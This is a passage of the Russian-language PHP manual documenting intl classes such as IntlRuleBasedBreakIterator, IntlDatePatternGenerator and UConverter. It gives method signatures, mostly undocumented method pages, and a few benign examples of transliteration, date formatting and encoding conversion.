public const int IntlBreakIterator::SENTENCE_TERM_LIMIT;
public const int IntlBreakIterator::SENTENCE_SEP;
public const int IntlBreakIterator::SENTENCE_SEP_LIMIT;
/* Методы */
public __construct(string $rules, bool $compiled = false)
public getBinaryRules(): string|false
public getRules(): string|false
public getRuleStatus(): int
public getRuleStatusVec(): array|false
/* Наследуемые методы */
public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator
public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator
public IntlBreakIterator::current(): int
public IntlBreakIterator::first(): int
public IntlBreakIterator::following(int $offset): int
public IntlBreakIterator::getErrorCode(): int
public IntlBreakIterator::getErrorMessage(): string
public IntlBreakIterator::getLocale(int $type): string|false
public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public IntlBreakIterator::getText(): ?string
public IntlBreakIterator::isBoundary(int $offset): bool
public IntlBreakIterator::last(): int
public IntlBreakIterator::next(?int $offset = null): int
public IntlBreakIterator::preceding(int $offset): int
public IntlBreakIterator::previous(): int
public IntlBreakIterator::setText(string $text): ?bool
}

Содержание

  • IntlRuleBasedBreakIterator::__construct — Создаёт итератор на основе набора правил
  • IntlRuleBasedBreakIterator::getBinaryRules — Получить бинарные данные из скомпилированных правил
  • IntlRuleBasedBreakIterator::getRules — Получить набор правил, использовавшихся при создании этого объекта
  • IntlRuleBasedBreakIterator::getRuleStatus — Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки
  • IntlRuleBasedBreakIterator::getRuleStatusVec — получить значения статусов из правил останова, определивших текущую позицию остановки

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор на основе набора правил

  • « IntlRuleBasedBreakIterator
  • IntlRuleBasedBreakIterator::getBinaryRules »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Создаёт итератор на основе набора правил

IntlRuleBasedBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::__construct — Создаёт итератор на основе набора правил

Описание

public IntlRuleBasedBreakIterator::__construct(string $rules, bool $compiled = false)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

rules

compiled

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить бинарные данные из скомпилированных правил

  • « IntlRuleBasedBreakIterator::__construct
  • IntlRuleBasedBreakIterator::getRules »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Получить бинарные данные из скомпилированных правил

IntlRuleBasedBreakIterator::getBinaryRules

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getBinaryRules — Получить бинарные данные из скомпилированных правил

Описание

public IntlRuleBasedBreakIterator::getBinaryRules(): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить набор правил, использовавшихся при создании этого объекта

  • « IntlRuleBasedBreakIterator::getBinaryRules
  • IntlRuleBasedBreakIterator::getRuleStatus »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Получить набор правил, использовавшихся при создании этого объекта

IntlRuleBasedBreakIterator::getRules

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRules — Получить набор правил, использовавшихся при создании этого объекта

Описание

public IntlRuleBasedBreakIterator::getRules(): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки

  • « IntlRuleBasedBreakIterator::getRules
  • IntlRuleBasedBreakIterator::getRuleStatusVec »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки

IntlRuleBasedBreakIterator::getRuleStatus

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRuleStatus — Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки

Описание

public IntlRuleBasedBreakIterator::getRuleStatus(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


получить значения статусов из правил останова, определивших текущую позицию остановки

  • « IntlRuleBasedBreakIterator::getRuleStatus
  • IntlCodePointBreakIterator »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • получить значения статусов из правил останова, определивших текущую позицию остановки

IntlRuleBasedBreakIterator::getRuleStatusVec

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRuleStatusVec — получить значения статусов из правил останова, определивших текущую позицию остановки

Описание

public IntlRuleBasedBreakIterator::getRuleStatusVec(): array|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlCodePointBreakIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Этот итератор прерываний указывает на границы между кодами символов UTF-8.

Обзор классов

class IntlCodePointBreakIterator extends IntlBreakIterator {
/* Наследуемые константы */
public const int IntlBreakIterator::DONE;
public const int IntlBreakIterator::WORD_NONE;
public const int IntlBreakIterator::WORD_NONE_LIMIT;
public const int IntlBreakIterator::WORD_NUMBER;
public const int IntlBreakIterator::WORD_NUMBER_LIMIT;
public const int IntlBreakIterator::WORD_LETTER;
public const int IntlBreakIterator::WORD_LETTER_LIMIT;
public const int IntlBreakIterator::WORD_KANA;
public const int IntlBreakIterator::WORD_KANA_LIMIT;
public const int IntlBreakIterator::WORD_IDEO;
public const int IntlBreakIterator::WORD_IDEO_LIMIT;
public const int IntlBreakIterator::LINE_SOFT;
public const int IntlBreakIterator::LINE_SOFT_LIMIT;
public const int IntlBreakIterator::LINE_HARD;
public const int IntlBreakIterator::LINE_HARD_LIMIT;
public const int IntlBreakIterator::SENTENCE_TERM;
public const int IntlBreakIterator::SENTENCE_TERM_LIMIT;
public const int IntlBreakIterator::SENTENCE_SEP;
public const int IntlBreakIterator::SENTENCE_SEP_LIMIT;
/* Методы */
public getLastCodePoint(): int
/* Наследуемые методы */
public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator
public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator
public IntlBreakIterator::current(): int
public IntlBreakIterator::first(): int
public IntlBreakIterator::following(int $offset): int
public IntlBreakIterator::getErrorCode(): int
public IntlBreakIterator::getErrorMessage(): string
public IntlBreakIterator::getLocale(int $type): string|false
public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public IntlBreakIterator::getText(): ?string
public IntlBreakIterator::isBoundary(int $offset): bool
public IntlBreakIterator::last(): int
public IntlBreakIterator::next(?int $offset = null): int
public IntlBreakIterator::preceding(int $offset): int
public IntlBreakIterator::previous(): int
public IntlBreakIterator::setText(string $text): ?bool
}

Содержание

  • IntlCodePointBreakIterator::getLastCodePoint — Получить последний код символа, выданный при перемещении итератора вперёд или назад

User Contributed Notes

Matt Kynx 09-Oct-2022 01:38
An example of using this to find all the code points in a string that cannot be transliterated to Latin-ASCII:

<?php

$string = "Народm, Intl gurus get paid €10000/hr ??";

$latinAscii = Transliterator::create('NFC; Any-Latin; Latin-ASCII;');
$transliterated = $latinAscii->transliterate($string);

$codePoints = IntlBreakIterator::createCodePointInstance();
$codePoints->setText($transliterated);

foreach ($codePoints->getPartsIterator() as $char) {
    $ord = IntlChar::ord($char);
    if (255 < $ord) {
        echo IntlChar::charName($ord) . "\n";
    }
}
?>

Outputs:
EURO SIGN
GRINNING FACE WITH SMILING EYES


Получить последний код символа, выданный при перемещении итератора вперёд или назад

  • « IntlCodePointBreakIterator
  • IntlDatePatternGenerator »
  • PHP Manual
  • IntlCodePointBreakIterator
  • Получить последний код символа, выданный при перемещении итератора вперёд или назад

IntlCodePointBreakIterator::getLastCodePoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlCodePointBreakIterator::getLastCodePoint — Получить последний код символа, выданный при перемещении итератора вперёд или назад

Описание

public IntlCodePointBreakIterator::getLastCodePoint(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlDatePatternGenerator

(PHP 8 >= 8.1.0)

Введение

Создаёт локализованные строки шаблонов формата даты и/или времени, подходящие для использования в IntlDateFormatter.

Обзор классов

class IntlDatePatternGenerator {
/* Методы */
public __construct(?string $locale = null)
public static create(?string $locale = null): ?IntlDatePatternGenerator
public getBestPattern(string $skeleton): string|false
}

Содержание

  • IntlDatePatternGenerator::create — Создаёт новый экземпляр IntlDatePatternGenerator
  • IntlDatePatternGenerator::getBestPattern — Определяет наиболее подходящий формат даты/времени

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр IntlDatePatternGenerator

  • « IntlDatePatternGenerator
  • IntlDatePatternGenerator::getBestPattern »
  • PHP Manual
  • IntlDatePatternGenerator
  • Создаёт новый экземпляр IntlDatePatternGenerator

IntlDatePatternGenerator::create

IntlDatePatternGenerator::__construct

(PHP 8 >= 8.1.0)

IntlDatePatternGenerator::create -- IntlDatePatternGenerator::__construct — Создаёт новый экземпляр IntlDatePatternGenerator

Описание

public static IntlDatePatternGenerator::create(?string $locale = null): ?IntlDatePatternGenerator
public IntlDatePatternGenerator::__construct(?string $locale = null)

Создаёт новый экземпляр IntlDatePatternGenerator.

Список параметров

locale

Локаль. Если передано значение null, используется ini-параметр intl.default_locale.

Возвращаемые значения

Возвращает экземпляр IntlDatePatternGenerator в случае успешного выполнения или null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Определяет наиболее подходящий формат даты/времени

  • « IntlDatePatternGenerator::create
  • IntlPartsIterator »
  • PHP Manual
  • IntlDatePatternGenerator
  • Определяет наиболее подходящий формат даты/времени

IntlDatePatternGenerator::getBestPattern

(PHP 8 >= 8.1.0)

IntlDatePatternGenerator::getBestPattern — Определяет наиболее подходящий формат даты/времени

Описание

public IntlDatePatternGenerator::getBestPattern(string $skeleton): string|false

Определяет, какой формат даты/времени наиболее подходит для конкретной локали.

Список параметров

skeleton

Каркас.

Возвращаемые значения

Возвращает формат, принимаемый DateTimeInterface::format() в случае успешного выполнения, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlDatePatternGenerator::getBestPattern()

<?php

$skeleton = 'YYYYMMdd';
$today = \DateTimeImmutable::createFromFormat('Y-m-d', '2021-04-24');

$patternGenerator = new \IntlDatePatternGenerator('de_DE');
$pattern = $patternGenerator->getBestPattern($skeleton);
echo 'Немецкий: ', \IntlDateFormatter::formatObject($today, $pattern, 'de_DE'), "\n";

$patternGenerator = new \IntlDatePatternGenerator('en_US');
$pattern = $patternGenerator->getBestPattern($skeleton);
echo 'Английский: ', \IntlDateFormatter::formatObject($today, $pattern, 'en_US');
?>

Результат выполнения данного примера:

Немецкий: 24.04.2021
Английский: 04/24/2021

User Contributed Notes

ICU User 11-Aug-2022 12:55
Use pattern letter "j" in skeleton to get a localized time string: https://unicode-org.github.io/icu/userguide/format_parse/datetime/index#datetimepatterngenerator

"j" gets mapped to one of "H", "h", "k" or "K".


Класс IntlPartsIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Объекты данного класса можно получить из объектов IntlBreakIterator. Пока итератор прерывания предоставляет последовательность ограничителей, можно получить IntlPartsIterator для удобства получения текстовых фрагментов между двумя ограничителями.

Ключи могут представлять собой смещения от левого или правого ограничителя или могут быть просто последовательностью натуральных чисел. Смотрите IntlBreakIterator::getPartsIterator().

Обзор классов

class IntlPartsIterator extends IntlIterator {
/* Константы */
public const int KEY_SEQUENTIAL;
public const int KEY_LEFT;
public const int KEY_RIGHT;
/* Методы */
public getBreakIterator(): IntlBreakIterator
/* Наследуемые методы */
public IntlIterator::current(): mixed
public IntlIterator::key(): mixed
public IntlIterator::next(): void
public IntlIterator::rewind(): void
public IntlIterator::valid(): bool
}

Предопределённые константы

IntlPartsIterator::KEY_SEQUENTIAL

IntlPartsIterator::KEY_LEFT

IntlPartsIterator::KEY_RIGHT

Содержание

  • IntlPartsIterator::getBreakIterator — Получить IntlBreakIterator сохраняя итератор этой части

User Contributed Notes

There are no user contributed notes for this page.


Получить IntlBreakIterator сохраняя итератор этой части

  • « IntlPartsIterator
  • UConverter »
  • PHP Manual
  • IntlPartsIterator
  • Получить IntlBreakIterator сохраняя итератор этой части

IntlPartsIterator::getBreakIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlPartsIterator::getBreakIterator — Получить IntlBreakIterator сохраняя итератор этой части

Описание

public IntlPartsIterator::getBreakIterator(): IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс UConverter

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

Введение

Обзор классов

class UConverter {
/* Константы */
public const int REASON_UNASSIGNED;
public const int REASON_ILLEGAL;
public const int REASON_IRREGULAR;
public const int REASON_RESET;
public const int REASON_CLOSE;
public const int REASON_CLONE;
public const int UNSUPPORTED_CONVERTER;
public const int SBCS;
public const int DBCS;
public const int MBCS;
public const int LATIN_1;
public const int UTF8;
public const int UTF16_BigEndian;
public const int UTF16_LittleEndian;
public const int UTF32_BigEndian;
public const int UTF32_LittleEndian;
public const int EBCDIC_STATEFUL;
public const int ISO_2022;
public const int LMBCS_1;
public const int LMBCS_2;
public const int LMBCS_3;
public const int LMBCS_4;
public const int LMBCS_5;
public const int LMBCS_6;
public const int LMBCS_8;
public const int LMBCS_11;
public const int LMBCS_16;
public const int LMBCS_17;
public const int LMBCS_18;
public const int LMBCS_19;
public const int LMBCS_LAST;
public const int HZ;
public const int SCSU;
public const int ISCII;
public const int US_ASCII;
public const int UTF7;
public const int BOCU1;
public const int UTF16;
public const int UTF32;
public const int CESU8;
public const int IMAP_MAILBOX;
/* Методы */
public __construct(?string $destination_encoding = null, ?string $source_encoding = null)
public convert(string $str, bool $reverse = false): string|false
public fromUCallback(
int $reason,
array $source,
int $codePoint,
int &$error
): string|int|array|null
public static getAliases(string $name): array|false|null
public static getAvailable(): array
public getDestinationEncoding(): string|false|null
public getDestinationType(): int|false|null
public getErrorCode(): int
public getErrorMessage(): ?string
public getSourceEncoding(): string|false|null
public getSourceType(): int|false|null
public static getStandards(): ?array
public getSubstChars(): string|false|null
public static reasonText(int $reason): string
public setDestinationEncoding(string $encoding): bool
public setSourceEncoding(string $encoding): bool
public setSubstChars(string $chars): bool
public toUCallback(
int $reason,
string $source,
string $codeUnits,
int &$error
): string|int|array|null
public static transcode(
string $str,
string $toEncoding,
string $fromEncoding,
?array $options = null
): string|false
}

Предопределённые константы

UConverter::REASON_UNASSIGNED

UConverter::REASON_ILLEGAL

UConverter::REASON_IRREGULAR

UConverter::REASON_RESET

UConverter::REASON_CLOSE

UConverter::REASON_CLONE

UConverter::UNSUPPORTED_CONVERTER

UConverter::SBCS

UConverter::DBCS

UConverter::MBCS

UConverter::LATIN_1

UConverter::UTF8

UConverter::UTF16_BigEndian

UConverter::UTF16_LittleEndian

UConverter::UTF32_BigEndian

UConverter::UTF32_LittleEndian

UConverter::EBCDIC_STATEFUL

UConverter::ISO_2022

UConverter::LMBCS_1

UConverter::LMBCS_2

UConverter::LMBCS_3

UConverter::LMBCS_4

UConverter::LMBCS_5

UConverter::LMBCS_6

UConverter::LMBCS_8

UConverter::LMBCS_11

UConverter::LMBCS_16

UConverter::LMBCS_17

UConverter::LMBCS_18

UConverter::LMBCS_19

UConverter::LMBCS_LAST

UConverter::HZ

UConverter::SCSU

UConverter::ISCII

UConverter::US_ASCII

UConverter::UTF7

UConverter::BOCU1

UConverter::UTF16

UConverter::UTF32

UConverter::CESU8

UConverter::IMAP_MAILBOX

Содержание

  • UConverter::__construct — Создать объект UConverter
  • UConverter::convert — Конвертировать строку из одной кодировки в другую
  • UConverter::fromUCallback — Callback-функция по умолчанию для "from"
  • UConverter::getAliases — Получить псевдонимы для заданного имени
  • UConverter::getAvailable — Получить доступные имена канонических конверторов
  • UConverter::getDestinationEncoding — Получить кодировку назначения
  • UConverter::getDestinationType — Получить тип конвертера назначения
  • UConverter::getErrorCode — Получить код последней ошибки объекта
  • UConverter::getErrorMessage — Получить последнее сообщение об ошибке в объекте
  • UConverter::getSourceEncoding — Получить исходную кодировку
  • UConverter::getSourceType — Получить тип конвертера источника
  • UConverter::getStandards — Получить стандарты, связанные с именами конвертеров
  • UConverter::getSubstChars — Получить замену символов
  • UConverter::reasonText — Получить строковое представление причины обратного вызова
  • UConverter::setDestinationEncoding — Установить кодировку назначения
  • UConverter::setSourceEncoding — Установить исходную кодировку
  • UConverter::setSubstChars — Установка символов подстановки
  • UConverter::toUCallback — Callback-функция по умолчанию для "to"
  • UConverter::transcode — Преобразует строку из одной кодировки символов в другую

User Contributed Notes

There are no user contributed notes for this page.


Создать объект UConverter

  • « UConverter
  • UConverter::convert »
  • PHP Manual
  • UConverter
  • Создать объект UConverter

UConverter::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::__construct — Создать объект UConverter

Описание

public UConverter::__construct(?string $destination_encoding = null, ?string $source_encoding = null)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

destination_encoding

source_encoding

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Конвертировать строку из одной кодировки в другую

  • « UConverter::__construct
  • UConverter::fromUCallback »
  • PHP Manual
  • UConverter
  • Конвертировать строку из одной кодировки в другую

UConverter::convert

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::convert — Конвертировать строку из одной кодировки в другую

Описание

public UConverter::convert(string $str, bool $reverse = false): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

str

reverse

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Callback-функция по умолчанию для "from"

  • « UConverter::convert
  • UConverter::getAliases »
  • PHP Manual
  • UConverter
  • Callback-функция по умолчанию для "from"

UConverter::fromUCallback

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::fromUCallback — Callback-функция по умолчанию для "from"

Описание

public UConverter::fromUCallback(
int $reason,
array $source,
int $codePoint,
int &$error
): string|int|array|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

reason

source

codePoint

error

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить псевдонимы для заданного имени

  • « UConverter::fromUCallback
  • UConverter::getAvailable »
  • PHP Manual
  • UConverter
  • Получить псевдонимы для заданного имени

UConverter::getAliases

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getAliases — Получить псевдонимы для заданного имени

Описание

public static UConverter::getAliases(string $name): array|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить доступные имена канонических конверторов

  • « UConverter::getAliases
  • UConverter::getDestinationEncoding »
  • PHP Manual
  • UConverter
  • Получить доступные имена канонических конверторов

UConverter::getAvailable

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getAvailable — Получить доступные имена канонических конверторов

Описание

public static UConverter::getAvailable(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить кодировку назначения

  • « UConverter::getAvailable
  • UConverter::getDestinationType »
  • PHP Manual
  • UConverter
  • Получить кодировку назначения

UConverter::getDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getDestinationEncoding — Получить кодировку назначения

Описание

public UConverter::getDestinationEncoding(): string|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить тип конвертера назначения

  • « UConverter::getDestinationEncoding
  • UConverter::getErrorCode »
  • PHP Manual
  • UConverter
  • Получить тип конвертера назначения

UConverter::getDestinationType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getDestinationType — Получить тип конвертера назначения

Описание

public UConverter::getDestinationType(): int|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить код последней ошибки объекта

  • « UConverter::getDestinationType
  • UConverter::getErrorMessage »
  • PHP Manual
  • UConverter
  • Получить код последней ошибки объекта

UConverter::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getErrorCode -- intl_get_error_code — Получить код последней ошибки объекта

Описание

public UConverter::getErrorCode(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке в объекте

  • « UConverter::getErrorCode
  • UConverter::getSourceEncoding »
  • PHP Manual
  • UConverter
  • Получить последнее сообщение об ошибке в объекте

UConverter::getErrorMessage

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getErrorMessage — Получить последнее сообщение об ошибке в объекте

Описание

public UConverter::getErrorMessage(): ?string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить исходную кодировку

  • « UConverter::getErrorMessage
  • UConverter::getSourceType »
  • PHP Manual
  • UConverter
  • Получить исходную кодировку

UConverter::getSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSourceEncoding — Получить исходную кодировку

Описание

public UConverter::getSourceEncoding(): string|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить тип конвертера источника

  • « UConverter::getSourceEncoding
  • UConverter::getStandards »
  • PHP Manual
  • UConverter
  • Получить тип конвертера источника

UConverter::getSourceType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSourceType — Получить тип конвертера источника

Описание

public UConverter::getSourceType(): int|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить стандарты, связанные с именами конвертеров

  • « UConverter::getSourceType
  • UConverter::getSubstChars »
  • PHP Manual
  • UConverter
  • Получить стандарты, связанные с именами конвертеров

UConverter::getStandards

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getStandards — Получить стандарты, связанные с именами конвертеров

Описание

public static UConverter::getStandards(): ?array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить замену символов

  • « UConverter::getStandards
  • UConverter::reasonText »
  • PHP Manual
  • UConverter
  • Получить замену символов

UConverter::getSubstChars

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSubstChars — Получить замену символов

Описание

public UConverter::getSubstChars(): string|false|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить строковое представление причины обратного вызова

  • « UConverter::getSubstChars
  • UConverter::setDestinationEncoding »
  • PHP Manual
  • UConverter
  • Получить строковое представление причины обратного вызова

UConverter::reasonText

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::reasonText — Получить строковое представление причины обратного вызова

Описание

public static UConverter::reasonText(int $reason): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

reason

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить кодировку назначения

  • « UConverter::reasonText
  • UConverter::setSourceEncoding »
  • PHP Manual
  • UConverter
  • Установить кодировку назначения

UConverter::setDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setDestinationEncoding — Установить кодировку назначения

Описание

public UConverter::setDestinationEncoding(string $encoding): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

encoding

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить исходную кодировку

  • « UConverter::setDestinationEncoding
  • UConverter::setSubstChars »
  • PHP Manual
  • UConverter
  • Установить исходную кодировку

UConverter::setSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setSourceEncoding — Установить исходную кодировку

Описание

public UConverter::setSourceEncoding(string $encoding): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

encoding

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установка символов подстановки

  • « UConverter::setSourceEncoding
  • UConverter::toUCallback »
  • PHP Manual
  • UConverter
  • Установка символов подстановки

UConverter::setSubstChars

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setSubstChars — Установка символов подстановки

Описание

public UConverter::setSubstChars(string $chars): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

chars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Callback-функция по умолчанию для "to"

  • « UConverter::setSubstChars
  • UConverter::transcode »
  • PHP Manual
  • UConverter
  • Callback-функция по умолчанию для "to"

UConverter::toUCallback

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::toUCallback — Callback-функция по умолчанию для "to"

Описание

public UConverter::toUCallback(
int $reason,
string $source,
string $codeUnits,
int &$error
): string|int|array|null

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

reason

source

codeUnits

error

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Преобразует строку из одной кодировки символов в другую

  • « UConverter::toUCallback
  • Функции Grapheme »
  • PHP Manual
  • UConverter
  • Преобразует строку из одной кодировки символов в другую

UConverter::transcode

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::transcode — Преобразует строку из одной кодировки символов в другую

Описание

public static UConverter::transcode(
string $str,
string $toEncoding,
string $fromEncoding,
?array $options = null
): string|false

Преобразует строку str из кодировки fromEncoding в toEncoding.

Список параметров

str

Строка (string) для преобразования.

toEncoding

Требуемая кодировка результата.

fromEncoding

Текущая кодировка строки str.

options

Необязательный массив (array), который может содержать следующие ключи:

  • 'to_subst' - подстановочный символ, используемый вместо любого символа строки str, который не может быть закодирован в toEncoding. Если ключ указан, он должен представлять один символ в целевой кодировке.

Возвращаемые значения

Возвращает преобразованную строку или false в случае возникновения ошибки.

Примеры

Пример #1 Преобразование из UTF-8 в UTF-16 и обратно

<?php
$utf8_string = "\x5A\x6F\xC3\xAB"; // 'Zoe' в UTF-8
$utf16_string = UConverter::transcode($utf8_string, 'UTF-16BE', 'UTF-8');
echo bin2hex($utf16_string), "\n";

$new_utf8_string = UConverter::transcode($utf16_string, 'UTF-8', 'UTF-16BE');
echo bin2hex($new_utf8_string), "\n";
?>

Результат выполнения данного примера:

005a006f00eb
5a6fc3ab

Пример #2 Недопустимые символы во входной строке

Если входная строка содержит последовательность байтов, которая не является допустимой в кодировке, указанной в fromEncoding, то перед преобразованием в toEncoding она заменяется кодовой точкой Unicode U+FFFD (Заменяющий символ).

<?php
$invalid_utf8_string = "\xC3"; // неполная многобайтовая последовательность UTF-8
$utf16_string = UConverter::transcode($invalid_utf8_string, 'UTF-16BE', 'UTF-8');
echo bin2hex($utf16_string), "\n";
?>

Результат выполнения данного примера:

fffd

Пример #3 Символы, которые не могут быть закодированы

